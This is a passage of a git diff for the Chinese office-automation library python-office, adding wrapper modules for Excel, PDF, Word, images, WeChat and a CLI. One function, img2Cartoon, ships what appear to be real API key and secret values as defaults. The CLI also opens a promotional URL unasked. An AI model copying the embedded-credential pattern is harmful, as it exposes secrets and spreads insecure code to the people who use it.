+ msg_subject=msg_subject,
+ host=host,
+ port=port)
+
+
+def receive_email(key, msg_from, msg_to, output_path=r'./', status="UNSEEN", msg_subject='', content='',
+ host=Mail_Type['qq'], port=465):
+ poemail.receive.receive_email(key=key,
+ msg_from=msg_from,
+ msg_to=msg_to,
+ msg_subject=msg_subject,
+ host=host,
+ port=port, output_path=output_path, status=status)
diff --git a/office/api/excel.py b/office/api/excel.py
new file mode 100644
index 0000000..756908d
--- /dev/null
+++ b/office/api/excel.py
@@ -0,0 +1,91 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/22 23:28
+'''
+
+"""
+🌈Python自动化办公--Pandas玩转Excel(全30集)
+https://www.bilibili.com/video/BV1hk4y1C73S/
+"""
+import poexcel
+
+# @except_dec()
+from office.lib.decorator_utils.instruction_url import instruction
+
+
+# @instruction
+def fake2excel(columns=['name'], rows=1, path='./fake2excel.xlsx', language='zh_CN'):
+ """
+ 自动创建Excel,并且模拟数据
+ Args:
+ columns: 列名。可以模拟的列有:http://python4office.cn/python-office/fake2excel/
+ rows: 生成多少行数据。默认值:1
+ path: 生成的Excel的位置和名称。
+ language: 数据用什么语言,默认是中文,可以填english,
+
+ Returns:
+
+ """
+ poexcel.fake2excel(columns, rows, path, language)
+
+
+# 多个excel,合并到一个excel的不同sheet中
+# @except_dec()
+# @instruction
+def merge2excel(dir_path, output_file='merge2excel.xlsx'):
+ """
+ :param dir_path:
+ :param output_file:
+ :return:
+ """
+ poexcel.merge2excel(dir_path, output_file)
+
+
+# 同一个excel里的不同sheet,拆分为不同的excel文件
+# @except_dec()
+# @instruction
+def sheet2excel(file_path, output_path='./'):
+ poexcel.sheet2excel(file_path, output_path)
+
+
+# @except_dec()
+# @instruction
+def merge2sheet(dir_path, output_sheet_name: str = 'Sheet1', output_excel_name: str = 'merge2sheet'):
+ poexcel.merge2sheet(dir_path, output_sheet_name, output_excel_name)
+
+
+# 搜索excel中指定内容的文件、行数、内容详情
+# PR内容 & 作者:https://gitee.com/CoderWanFeng/python-office/pulls/10
+# @except_dec()
+# @instruction
+def find_excel_data(search_key: str, target_dir: str):
+ poexcel.find_excel_data(search_key, target_dir)
+
+
+# 按指定列的内容,拆分excel
+# PR内容 & 作者::https://gitee.com/CoderWanFeng/python-office/pulls/11
+# @except_dec()
+# @instruction
+def split_excel_by_column(filepath: str, column: int, worksheet_name: str = None):
+ poexcel.split_excel_by_column(filepath, column, worksheet_name)
+
+
+# @instruction
+def excel2pdf(excel_path, pdf_path, sheet_id: int = 0):
+ """
+ 将指定的Excel文件的指定工作表转换为PDF文件。
+ 视频:https://www.bilibili.com/video/BV1A84y1N7or/
+ :param excel_path: str, Excel文件的路径。
+ :param pdf_path: str, 转换后生成的PDF文件的路径。
+ :param sheet_id: int, 工作表的索引,默认为0,表示第一个工作表。
+ :return: None
+ """
+ poexcel.excel2pdf(excel_path, pdf_path, sheet_id)
+
+
+# @instruction
+# def merge2excel(excel_path, output='merge2excel.xlsx'):
+# poexcel.merge2excel(excel_path, output)
diff --git a/office/api/file.py b/office/api/file.py
new file mode 100644
index 0000000..7e0a8d6
--- /dev/null
+++ b/office/api/file.py
@@ -0,0 +1,95 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/22 23:28
+'''
+
+import pofile
+import search4file
+
+# todo:输入文件路径
+# @except_dec()
+from office.lib.decorator_utils.instruction_url import instruction
+
+
+# @instruction
+def replace4filename(path: str, del_content, replace_content='', dir_rename: bool = True,
+ file_rename: bool = True, suffix=None):
+ """
+ 批量修改文件/文件夹名称
+ :param path: 必填,需要修改文件夹/文件名称的根目录,注意:该根目录名称不会被修改
+ :param del_content: 必填,需要替换/删除的内容
+ :param replace_content: 选填,替换后的内容,不填则实现删除效果
+ :param dir_rename: 选填,是否修改文件夹名称,默认:修改
+ :param file_rename: 选填,是否修改文件名称,默认:修改
+ :param suffix: 选填,指定修改的文件类型,默认:所有
+ :return:
+ """
+ pofile.replace4filename(path, del_content, replace_content, dir_rename, file_rename, suffix)
+
+
+# todo:输入文件路径
+# @except_dec()
+# @instruction
+def search_by_content(search_path: str, content: str):
+ """
+ 通过内容搜索文件
+ Args:
+ search_path: 需要搜索的目录
+ content: 搜索的内容
+
+ Returns:
+
+ """
+ search4file.search_by_content(search_path=search_path, search_content=content)
+
+
+# author:https://github.com/CoderWanFeng/python-office/pull/72
+# @except_dec()
+# @instruction
+def file_name_insert_content(file_path: str, insert_position: int, insert_content: str):
+ pofile.file_name_insert_content(file_path, insert_position, insert_content)
+
+
+# author:https://github.com/CoderWanFeng/python-office/pull/72
+# @except_dec()
+# @instruction
+def file_name_add_prefix(file_path: str, prefix_content: str):
+ pofile.file_name_add_prefix(file_path, prefix_content)
+
+
+# author:https://github.com/CoderWanFeng/python-office/pull/72
+# @except_dec()
+# @instruction
+def file_name_add_postfix(file_path, postfix_content):
+ pofile.file_name_add_postfix(file_path, postfix_content)
+
+
+# author:https://github.com/CoderWanFeng/python-office/pull/74
+# @except_dec()
+# @instruction
+def search_specify_type_file(file_path, file_type):
+ pofile.search_specify_type_file(file_path, file_type)
+
+
+# @except_dec()
+# @instruction
+def output_file_list_to_excel(dir_path):
+ pofile.output_file_list_to_excel(dir_path)
+
+
+# @instruction
+def add_line_by_type(add_line_dict: dict, file_path, file_type='.py', output_path=r'add_line'):
+ pofile.add_line_by_type(add_line_dict, file_path, file_type, output_path)
+
+
+# @instruction
+def group_by_name(path, output_path=None, del_old_file=None):
+ pofile.group_by_name(path, output_path, del_old_file)
+
+
+# @instruction
+def get_files(path: str, name: str = '', suffix: str = None, sub: bool = False, level: int = 0) -> list:
+ return pofile.get_files(path, name, suffix, sub, level)
diff --git a/office/api/finance.py b/office/api/finance.py
new file mode 100644
index 0000000..012c414
--- /dev/null
+++ b/office/api/finance.py
@@ -0,0 +1,41 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/6/1 22:52
+@Description :
+'''
+
+from decimal import Decimal
+RATE_LINE = 10000 * 2
+
+
+def t0(buy_price: float, sale_price: float, shares: int, w_rate: float = 2.5 / 10000, min_rate: int = 5,
+ stamp_tax=1 / 1000, ) -> float:
+ """
+ 计算做T的收益
+ Args:
+ buy_price: 买入成本
+ sale_price: 卖出价格
+ shares: 单笔数量
+ w_rate: 手续费,默认万2.5
+ min_rate: 单笔最低手续费,默认5元
+ stamp_tax: 印花税,默认千1
+
+ Returns: 做T后的收益金额
+
+ """
+ buy_money = Decimal(str(buy_price)) * shares # 买入的价格
+ base_rate = min_rate if buy_money <= RATE_LINE else buy_money * w_rate
+
+ sale_money = Decimal(str(sale_price)) * shares
+ sale_rate = min_rate if sale_money <= RATE_LINE else sale_money * w_rate
+
+ sale_tax = sale_money * Decimal(str(stamp_tax))
+ stock_returns = sale_money - buy_money - base_rate - sale_rate - sale_tax
+ return stock_returns
+
+
+if __name__ == '__main__':
+ print(t0(11.99, 12.26, 700))
diff --git a/office/api/image.py b/office/api/image.py
new file mode 100644
index 0000000..181bd54
--- /dev/null
+++ b/office/api/image.py
@@ -0,0 +1,84 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/22 23:28
+'''
+import poimage
+
+# @except_dec()
+from office.lib.decorator_utils.instruction_url import instruction
+
+
+def compress_image(input_file: str, output_file: str, quality: int):
+ poimage.compress_image(input_file, output_file, quality)
+
+
+# @instruction
+def image2gif():
+ poimage.image2gif()
+
+
+# todo:输出文件路径
+# @except_dec()
+# @instruction
+def add_watermark(file, mark, output_path='./', color="#eaeaea", size=30, opacity=0.35, space=200,
+ angle=30):
+ """
+ 给图片加水印
+ Args:
+ file: 图片位置
+ mark: 水印内容
+ output_path: 输出位置
+ color: 水印颜色
+ size: 水印大小
+ opacity: 不透明度,0.01~1
+ space: 水印间距
+ angle: 水印角度
+
+ Returns:
+
+ """
+ poimage.add_watermark(file, mark, output_path, color, size, opacity, space, angle)
+ # mainImage.add_watermark(file, mark, out, color, size, opacity, space, angle)
+
+
+# todo:输入文件路径
+# @except_dec()
+# @instruction
+def img2Cartoon(path, client_api='OVALewIvPyLmiNITnceIhrYf', client_secret='rpBQH8WuXP4ldRQo5tbDkv3t0VgzwvCN'):
+ poimage.img2Cartoon(path, client_api, client_secret)
+ # mainImage.img2Cartoon(path, client_api, client_secret)
+
+
+# @except_dec()
+# @instruction
+def down4img(url, output_path='.', output_name='down4img', type='jpg'):
+ poimage.down4img(url, output_path, output_name, type)
+ # mainImage.down4img(url, output_name, type)
+
+
+# @instruction
+def txt2wordcloud(filename, color="white", result_file="your_wordcloud.png"):
+ poimage.txt2wordcloud(filename, color, result_file)
+
+
+# @instruction
+def pencil4img(input_img, output_path='./', output_name='pencil4img.jpg'):
+ poimage.pencil4img(input_img, output_path, output_name)
+
+
+# @instruction
+def decode_qrcode(qrcode_path):
+ """
+ 解析二维码
+ :param qrcode_path: 二维码图片的路径
+ :return:
+ """
+ poimage.decode_qrcode(qrcode_path)
+
+
+# @instruction
+def del_watermark(input_image, output_image=r'./del_water_mark.jpg'):
+ poimage.del_watermark(input_image, output_image)
diff --git a/office/api/markdown.py b/office/api/markdown.py
new file mode 100644
index 0000000..ba5a748
--- /dev/null
+++ b/office/api/markdown.py
@@ -0,0 +1,19 @@
+# from office.core.MarkdownType import MainMarkdown
+# from office.lib.utils.except_utils import except_dec
+#
+# mainMarkdown = MainMarkdown()
+#
+#
+# # @except_dec()
+# def markdown_link_image_to_base64(markdown_path):
+# mainMarkdown.markdown_link_image_to_base64(markdown_path)
+#
+#
+# # @except_dec()
+# def check_local_dir_image_link_markdown(markdown_path, image_path):
+# mainMarkdown.check_local_dir_image_link_markdown(markdown_path, image_path)
+import pomarkdown
+
+
+def excel2markdown(input_file, output_file=r'./excel2markdown.md', sheet_name=None):
+ pomarkdown.excel2markdown(input_file, output_file, sheet_name)
diff --git a/office/ocr.py b/office/api/ocr.py
similarity index 58%
rename from office/ocr.py
rename to office/api/ocr.py
index 66f4272..a8ad584 100644
--- a/office/ocr.py
+++ b/office/api/ocr.py
@@ -6,4 +6,9 @@
# Mail: 1957875073@qq.com
# Created Time: 2022-4-25 10:17:34
# Description: 有关 ocr 的自动化操作
-#############################################
\ No newline at end of file
+#############################################
+
+"""
+🌈5讲OCR批量识别(Python版)
+https://www.python-office.com/course-002/5-poocr/5-poocr.html
+"""
\ No newline at end of file
diff --git a/office/api/pdf.py b/office/api/pdf.py
new file mode 100644
index 0000000..99d9aad
--- /dev/null
+++ b/office/api/pdf.py
@@ -0,0 +1,136 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/22 23:28
+'''
+
+# 给pdf加水印-无参数
+# @except_dec()
+import popdf
+
+
+# todo:输入文件路径
+# @except_dec()
+def pdf2docx(input_file, output_path='.'):
+ """
+ PDF转Word
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/1-pdf2docx/
+ """
+ popdf.pdf2docx(input_file, output_path)
+
+
+# @except_dec()
+def pdf2imgs(input_file, output_path, merge=False):
+ """
+ pdf转图片
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/2-pdf2imgs/
+ """
+ popdf.pdf2imgs(input_file, output_path, merge)
+
+
+def txt2pdf(input_file: str, output_file='txt2pdf.pdf'):
+ """
+ 将文本文件转换为PDF文件。
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/3-txt2pdf/
+ """
+
+ popdf.txt2pdf(input_file, output_file)
+
+
+def split4pdf(input_file, output_file=r'./output_path/split_pdf.pdf', from_page=-1, to_page=-1):
+ """
+ 拆分PDF文件
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/4-split4pdf/
+ """
+ popdf.split4pdf(input_file, output_file, from_page, to_page)
+
+
+def encrypt4pdf(input_file, output_file, password):
+ """
+ 加密pdf
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/5-encrypt4pdf/
+ 演示代码:
+ """
+ popdf.encrypt4pdf(input_file, password, output_file)
+
+
+def decrypt4pdf(input_file, password, output_file='decrypt.pdf'):
+ """
+ 解密pdf
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/6-decrypt4pdf
+ 演示代码:
+ """
+ popdf.decrypt4pdf(input_file, password, output_file)
+
+
+def add_text_watermark(input_file, point, text='python-office',
+ output_file='./pdf_watermark.pdf', fontname="Helvetica", fontsize=12, color=(1, 0, 0)) -> None:
+ """
+ 在PDF文档中添加文本水印。
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/7-add_watermark
+ """
+ popdf.add_watermark(input_file, point, text,
+ output_file, fontname, fontsize, color)
+
+
+def merge2pdf(input_file_list, output_file):
+ """
+ 合并pdf
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/8-merge2pdf
+ 演示代码:
+ """
+ popdf.merge2pdf(input_file_list, output_file)
+
+
+def del4pdf(input_file, output_file, page_nums):
+ """
+ 删除pdf页面
+ 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/9-del4pdf
+ 演示代码:
+ """
+ popdf.del4pdf(input_file, output_file, page_nums)
+
+
+# @except_dec()
+# @instruction
+def add_img_water(pdf_file_in, pdf_file_mark, pdf_file_out):
+ popdf.add_img_water(pdf_file_in, pdf_file_mark, pdf_file_out)
+
+
+# @instruction
+def add_watermark() -> None:
+ popdf.add_watermark()
+
+
+# 给pdf加水印-有参数
+# @except_dec()
+# @instruction
+def add_mark(pdf_file, mark_str, output_path=None, output_file_name=None) -> None:
+ """
+ 必填参数:
+ pdf_file:pdf的位置,例如:d:/code/程序员晚枫.popdf
+ mark_str:需要添加的水印内容,例如:百度一下:程序员晚枫
+ 选填参数:
+ output_file_name:指定添加了水印的文件名称,可以不指定,默认是:添加了水印的文件.popdf
+ """
+ popdf.add_watermark_by_parameters(pdf_file, mark_str, output_path, output_file_name)
+
+
+# 给pdf加水印-有参数
+# @except_dec()
+# @instruction
+def add_watermark_by_parameters(pdf_file, mark_str, output_path=None, output_file_name=None) -> None:
+ """
+ 给PDF添加水印
+ Args:
+ pdf_file: pdf的位置,例如:d:/code/程序员晚枫.popdf
+ mark_str: 需要添加的水印内容,例如:百度一下:程序员晚枫
+ output_path: 保存文件的位置
+ output_file_name: 指定添加了水印的文件名称,可以不指定,默认是:添加了水印的文件.popdf
+
+ Returns:
+
+ """
+ popdf.add_watermark_by_parameters(pdf_file, mark_str, output_path, output_file_name)
diff --git a/office/api/ppt.py b/office/api/ppt.py
new file mode 100644
index 0000000..7b83b0c
--- /dev/null
+++ b/office/api/ppt.py
@@ -0,0 +1,43 @@
+# -*- coding:utf-8 -*-
+
+#############################################
+# File Name: poppt.py
+# 公众号/B站/小红书/抖音/知乎: 程序员晚枫
+# Mail: 1957875073@qq.com
+# Created Time: 2022-4-25 10:17:34
+# Description: 有关 poppt 的自动化操作
+#############################################
+
+import poppt
+
+# todo:输入文件路径
+# @except_dec()
+from office.lib.decorator_utils.instruction_url import instruction
+
+
+# @instruction
+def ppt2pdf(path: str, output_path=r'./'):
+ poppt.ppt2pdf(path, output_path)
+
+
+# @instruction
+def ppt2img(input_path: str, output_path=r'./', merge: bool = False):
+ """
+ PPT转图片,可以转为长图
+ Args:
+ input_path: 存放PPT的位置,
+ 转换单个文件 → 可以写文件的路径
+ 转换单个文件 → 写文件夹的路径
+ output_path: 结果图片的存储位置,可以不写,默认代码目录
+ merge: True → 转为1张图片
+ False → PPT有多少张,就转为多少张图片
+
+ Returns: None
+
+ """
+ poppt.ppt2img(input_path, output_path, merge)
+
+
+# @instruction
+def merge4ppt(input_path: str, output_path=r'./', output_name: str = 'merge4ppt.pptx'):
+ poppt.merge4ppt(input_path, output_path, output_name)
diff --git a/office/api/testApi/__init__.py b/office/api/testApi/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/api/testApi/ruiming.py b/office/api/testApi/ruiming.py
new file mode 100644
index 0000000..53bfeb5
--- /dev/null
+++ b/office/api/testApi/ruiming.py
@@ -0,0 +1,19 @@
+from office.core.TestTypes.RuimingType import MainRuiming
+from office.lib.utils.except_utils import except_dec
+
+ruiming = MainRuiming()
+
+
+# @except_dec()
+def screen_unmarked_image(dir_path):
+ ruiming.screen_unmarked_image(dir_path)
+
+
+# @except_dec()
+def change_label_in_xml(dir_path, old_label, new_label):
+ ruiming.change_label_in_xml(dir_path, old_label, new_label)
+
+
+# @except_dec()
+def screen_without_label_json_file(dir_path):
+ ruiming.screen_without_label_json_file(dir_path)
\ No newline at end of file
diff --git a/office/api/tools.py b/office/api/tools.py
new file mode 100644
index 0000000..ffcf920
--- /dev/null
+++ b/office/api/tools.py
@@ -0,0 +1,127 @@
+import wftools
+from pocode.api.color import random_color_print
+
+from office.lib.conf.CONST import SPLIT_LINE
+
+
+# from office.core.ToolsType import wftools
+# wftools = wftools()
+
+# @except_dec()
+# # @instruction
+def transtools(to_lang: str, content: str, from_lang: str = 'zh'):
+ """
+ 将内容从一种语言翻译为另一种语言。
+
+ 参数:
+ to_lang (str): 目标语言,用字符串表示。
+ content (str): 待翻译的内容。
+ from_lang (str, 可选): 源语言,默认为'zh'(中文)。
+
+ 返回:
+ str: 翻译后的结果。
+
+ """
+ return wftools.transtools(to_lang=to_lang, content=content, from_lang=from_lang)
+
+
+# @except_dec()
+# @instruction
+def qrcodetools(url: str, output: str = r'./qrcode_img.png'):
+ """
+ 生成二维码图片。
+
+ 参数:
+ url (str): 用于生成二维码的URL地址。
+ output (str, 可选): 生成的二维码图片保存路径,默认为当前目录下的 './qrcode_img.png'。
+
+ 返回:
+ 无
+
+ """
+ wftools.qrcodetools(url, output)
+
+
+# @except_dec()
+# @instruction
+def passwordtools(len=8):
+ """
+ 生成一个指定长度的密码。
+
+ 参数:
+ len (int): 密码长度,默认为8。
+
+ 返回值:
+ str: 生成的密码。
+ """
+ return wftools.passwordtools(len)
+
+
+# @except_dec()
+# @instruction
+def weather():
+ wftools.weather()
+
+
+# 通过url,获取ip地址
+# # @except_dec()
+# @instruction
+def url2ip(url: str) -> str:
+ return wftools.url2ip(url)
+
+
+# 通过url,获取ip地址
+# @except_dec()
+# @instruction
+def lottery8ticket():
+ wftools.lottery8ticket()
+
+
+# @except_dec()
+# @instruction
+def create_article(theme, line_num=200):
+ """
+ 创建文章
+
+ 参数:
+ theme (str): 文章的主题
+ line_num (int): 文章的行数,默认为200行
+
+ 返回:
+ 无
+
+ """
+ wftools.create_article(theme, line_num)
+
+
+# @except_dec()
+# @instruction
+def pwd4wifi(len_pwd: int = 8, pwd_list=[]):
+ wftools.pwd4wifi(len_pwd, pwd_list)
+
+
+# 测试网速
+# @instruction
+def net_speed_test():
+ """
+ 网络速度测试函数
+
+ 该函数用于测试网络的上传和下载速度
+
+ 参数:
+ 无
+
+ 返回:
+ 无
+ """
+ wftools.net_speed_test()
+
+
+def course():
+ random_color_print(SPLIT_LINE)
+ random_color_print('【python-office库】,功能持续更新中')
+ random_color_print('使用有问题 or 提交你的功能需求 or 参与项目开发')
+ random_color_print('1、给小白的【50讲Python自动化办公】:https://www.python-office.com/course/50-python-office.html')
+ random_color_print('2、请+【项目交流群】:http://www.python4office.cn/wechat-group/')
+ random_color_print('3、本开源项目的【源代码】:https://github.com/CoderWanFeng/python-office')
+ random_color_print(SPLIT_LINE)
diff --git a/office/api/video.py b/office/api/video.py
new file mode 100644
index 0000000..6587349
--- /dev/null
+++ b/office/api/video.py
@@ -0,0 +1,52 @@
+# from office.core.VideoType import MainVideo
+# mainVideo = MainVideo()
+import povideo
+
+# 从视频里提取音频
+from office.lib.decorator_utils.instruction_url import instruction
+
+
+# @instruction
+def video2mp3(path, mp3_name=None, output_path=r'./'):
+ povideo.video2mp3(path, mp3_name, output_path)
+
+
+# 从音频里,提取文字
+# 本地语音文件不能大于5MB
+# @instruction
+def audio2txt(audio_path, appid, secret_id, secret_key):
+ povideo.audio2txt(audio_path, appid, secret_id, secret_key)
+
+
+# @instruction
+def mark2video(video_path, output_path=r'./', output_name=r'mark2video.mp4', mark_str: str = "www.python-office.com",
+ font_size=28,
+ font_type='Arial', font_color='white'):
+ """
+ 给视频添加水印
+ :param video_path: 必填,视频地址
+ :param output_path: 输出地址
+ :param output_name: 输出名称,记得带‘.mp4’
+ :param mark_str: 水印内容,只支持英文
+ :param font_size: 水印字体大小
+ :param font_color: 水印颜色
+ :param font_type: 水印字体类型
+ :return:
+ """
+ povideo.mark2video(video_path, output_path, output_name, mark_str, font_size, font_type, font_color)
+
+
+# @instruction
+def txt2mp3(content='程序员晚枫', file=None, mp3=r'./程序员晚枫.mp3', speak=True):
+ """
+ 文本转语音
+ Args:
+ content:需要转换的内容
+ file: 指定读取的文件,优先级最高
+ mp3: 需要保存的mp3位置和名称。填None不保存。
+ speak:是否阅读
+
+ Returns:
+
+ """
+ return povideo.txt2mp3(content, file, mp3, speak)
diff --git a/office/web.py b/office/api/web.py
similarity index 58%
rename from office/web.py
rename to office/api/web.py
index 37a6686..5ba7a0d 100644
--- a/office/web.py
+++ b/office/api/web.py
@@ -1,9 +1,15 @@
#!/usr/bin/env python
-#-*- coding:utf-8 -*-
+# -*- coding:utf-8 -*-
#############################################
# File Name: 网站开发.py
# Mail: 1957875073@qq.com
# Created Time: 2022-4-25 10:17:34
# Description: 有关 网站开发 的自动化操作
-#############################################
\ No newline at end of file
+#############################################
+
+import pospider
+
+
+def url2ebook(url, tile):
+ pospider.url.url2ebook(url, tile)
diff --git a/office/api/wechat.py b/office/api/wechat.py
new file mode 100644
index 0000000..9ee4426
--- /dev/null
+++ b/office/api/wechat.py
@@ -0,0 +1,60 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/22 23:28
+'''
+
+"""
+🤖10讲Python微信机器人,小白也能学会
+https://www.bilibili.com/video/BV1S84y1m7xd/
+"""
+
+import PyOfficeRobot
+
+from office.lib.decorator_utils.instruction_url import instruction
+
+
+# @instruction
+def send_message(who: str, message: str):
+ PyOfficeRobot.chat.send_message(who, message)
+
+
+# @instruction
+def send_message_by_time(who, message, time):
+ PyOfficeRobot.chat.send_message_by_time(who, message, time)
+
+
+# @instruction
+def chat_by_keywords(who, keywords):
+ PyOfficeRobot.chat.chat_by_keywords(who, keywords)
+
+
+# @instruction
+def send_file(who, file):
+ PyOfficeRobot.file.send_file(who, file)
+
+
+def group_send():
+ PyOfficeRobot.group.send()
+
+
+# 保存指定人的消息
+# BY:盖飞
+# @instruction
+def receive_message(who='文件传输助手', txt='userMessage.txt', output_path='./'):
+ PyOfficeRobot.chat.receive_message(who, txt, output_path)
+
+
+# @instruction
+def chat_robot(who='程序员晚枫'):
+ """
+ 智能聊天
+ Args:
+ who: 指定聊天对象,可以是备注名称。不支持特殊字符。
+
+ Returns:
+
+ """
+ PyOfficeRobot.chat.chat_robot(who)
diff --git a/office/api/word.py b/office/api/word.py
new file mode 100644
index 0000000..96eb2d4
--- /dev/null
+++ b/office/api/word.py
@@ -0,0 +1,56 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/22 23:28
+'''
+
+import poword
+
+from office.lib.decorator_utils.instruction_url import instruction
+
+
+# @instruction
+def docx2pdf(path: str, output_path: str = None):
+ """
+ word转pdf
+ Args:
+ path: word文件的位置。支持批量处理:填写文件夹位置。
+ output_path: 转换后的输出位置,如果不存在会自动创建。
+
+ Returns:
+
+ """
+ if output_path is None:
+ output_path = path
+ poword.docx2pdf(path, output_path)
+
+
+# @instruction
+def merge4docx(input_path: str, output_path: str, new_word_name: str = 'merge4docx'):
+ poword.merge4docx(input_path, output_path, new_word_name)
+
+
+# @instruction
+def doc2docx(input_path: str, output_path: str = r'./', output_name: str = None):
+ poword.doc2docx(input_path, output_path, output_name)
+
+
+# @instruction
+def docx2doc(input_path: str, output_path: str = r'./', output_name: str = None):
+ poword.docx2doc(input_path, output_path, output_name)
+
+
+# @instruction
+def docx4imgs(word_path, img_path):
+ """
+ 从Word里提取图片
+ Args:
+ word_path:word文档的路径
+ img_path: 提取图片的存储位置,会自动根据word名称,在指定文件夹下,生成一个子目录
+
+ Returns:
+
+ """
+ poword.docx4imgs(word_path, img_path)
diff --git a/office/cli/__init__.py b/office/cli/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/office/cli/main.py b/office/cli/main.py
new file mode 100644
index 0000000..7cec7bb
--- /dev/null
+++ b/office/cli/main.py
@@ -0,0 +1,132 @@
+"""
+python-office Command Line Interface
+====================================
+
+```script
+python -m office --help
+```
+"""
+from typer import Typer
+
+app = Typer(name="python-office CLI")
+
+
+#
+# @app.command()
+# def ppt2pdf(dir_path: str):
+# """ppt导出为PDF,需要Microsoft Office环境"""
+# try:
+# from office.poppt import ppt2pdf
+# except ImportError:
+# from office.poppt import ppt2pdf
+# return ppt2pdf(dir_path)
+#
+
+@app.command()
+def docx2pdf(dir_path: str, suffix="docx"):
+ """docx转pdf"""
+ from office.word import docx2pdf
+ Typer.launch("http://www.python4office.cn/wechat-group/")
+ return docx2pdf(dir_path, suffix)
+
+
+@app.command()
+def hello():
+ print(666)
+
+
+#
+#
+# @app.command()
+# def pdf_encrypt(input_path: str, password: str, output_path: str = None):
+# """加密PDF 输入路径 密码 [输出路径(默认与输入相同)]"""
+# try:
+# from .popdf import encrypt4pdf
+# except ImportError:
+# from popdf import encrypt4pdf
+# return encrypt4pdf(input_path, password, output_path or input_path)
+#
+#
+# @app.command()
+# def pdf_decrypt(input_path: str, password: str, output_path: str = None):
+# """解密PDF 输入路径 密码 [输出路径(默认与输入相同)]"""
+# try:
+# from .popdf import decrypt4pdf
+# except ImportError:
+# from popdf import decrypt4pdf
+# return decrypt4pdf(input_path, password, output_path or input_path)
+#
+#
+# @app.command()
+# def pdf_merge(paths: list[str], output_path: str):
+# """合并PDF 若干pdf路径 最后一个参数为合并后的PDF的路径"""
+# try:
+# from .popdf import merge2pdf
+# except ImportError:
+# from popdf import merge2pdf
+# return merge2pdf(paths, output_path)
+#
+#
+# @app.command()
+# def watermark(path: str, mark: str, out_dir="output", color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30):
+# """图片水印 文件(夹)路径 水印文本 [输出文件夹] [颜色] [字号] [透明度] [字间距] [倾角]"""
+# try:
+# from .image import add_watermark
+# except ImportError:
+# from image import add_watermark
+# return add_watermark(path, mark, out_dir, color, size, opacity, space, angle)
+#
+#
+# @app.command()
+# def txt2pdf(txt_path: str, pdf_path: str):
+# """创建纯文本PDF 输入路径 输出路径"""
+# try:
+# from .popdf import txt2pdf
+# except ImportError:
+# from popdf import txt2pdf
+# return txt2pdf(txt_path, pdf_path)
+#
+#
+# @app.command()
+# def rename(path: str, old: str, new=""):
+# """批量修改文件名 目录路径 子字符串 [新字符串]"""
+# try:
+# from .file import replace4filename
+# except ImportError:
+# from file import replace4filename
+# return replace4filename(path, old, new)
+#
+#
+# @app.command()
+# def fake(path="./fake2excel.xlsx", rows=1, columns=("name",), language='zh_CN'):
+# """生成假数据Excel文件 [导出文件路径] [行数] [列名列表] [语种]"""
+# try:
+# from .excel import fake2excel
+# except ImportError:
+# from excel import fake2excel
+# return fake2excel(columns, rows, language, path)
+#
+#
+# @app.command()
+# def pwd(length: int = 8):
+# """生成随机密码"""
+# try:
+# from .tools import passwordtools
+# except ImportError:
+# from tools import passwordtools
+# return passwordtools(length)
+#
+#
+# @app.command()
+# def extract_audio(input_path: str, output_path: str = None):
+# """从视频中提取音频"""
+# try:
+# from .video import video2mp3
+# except ImportError:
+# from video import video2mp3
+# return video2mp3(input_path,
+# (input_path[:input_path.rindex(".")] or output_path.removesuffix(".mp3")) + ".mp3")
+#
+
+if __name__ == '__main__':
+ app()
diff --git a/office/core/TestTypes/RuimingType.py b/office/core/TestTypes/RuimingType.py
new file mode 100644
index 0000000..57a37ab
--- /dev/null
+++ b/office/core/TestTypes/RuimingType.py
@@ -0,0 +1,91 @@
+import pathlib
+import shutil
+import xml.etree.ElementTree
+import json
+
+
+class MainRuiming():
+ def __make_dir(self, dir_path, dir_name):
+ """
+
+ :param dir_path: 准备新建的位置
+ :param dir_name: 新建文件夹的名称
+ """
+ new_dir_path = dir_path.joinpath(dir_name)
+ if not new_dir_path.is_dir():
+ new_dir_path.mkdir()
+ elif list(new_dir_path.iterdir()) != []:
+ exit("目录\"" + str(new_dir_path) + "\"存在且不为空,请检查!")
+
